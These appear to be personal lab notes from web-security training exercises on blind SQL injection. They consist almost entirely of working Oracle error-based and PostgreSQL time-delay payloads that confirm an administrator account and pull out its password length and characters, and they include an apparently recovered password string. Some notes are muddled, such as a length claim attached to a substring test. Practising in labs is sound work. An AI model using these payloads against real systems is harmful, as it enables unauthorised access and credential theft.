Blind SQL Inj
Blind SQL Inj
' || (SELECT '' from dual) || ' -> this returned 200, it means we are dealing with
oracle db
' || (SELECT '' from users)|| ' -> this returned 500, because '' may be repeating
several times, so we need to limit the output to one
' || (SELECT '' from users where rownum=1) || ' -> 200 OK
' || (SELECT CASE when(1=1) then TO_CHAR(1/0) ELSE '' END FROM users where
username='administrator') || ' this returns 200 OK
4) We proved admin exists, now lets check the length of the password.
' || (SELECT CASE when(1=1) then TO_CHAR(1/0) ELSE '' END FROM users where
username='administrator' and LENGTH(password)>1) || ' ->500
' || (SELECT CASE when(1=1) then TO_CHAR(1/0) ELSE '' END FROM users where
username='administrator' and LENGTH(password)>50) || ' -> 200 OK
fahhy0hikq073tya774b
'||pg_sleep(10)--
Lab: Blind SQL injection with time delays and information retrieval
'||pg_sleep(10) -- check which database tab we are dealing with -> postgresql
'|| CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END -- worked-> then 1=1,
lets try some query to check if it is right
'|| CASE WHEN ((select username from users where
username='administrator')='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END
-- delayed 10 sec-> so the admin user exists
'|| CASE WHEN ((select SUBSTR(password, 1, 1) from users where
username='administrator')='a') THEN pg_sleep(10) ELSE pg_sleep(0) END -- ->
password length is 20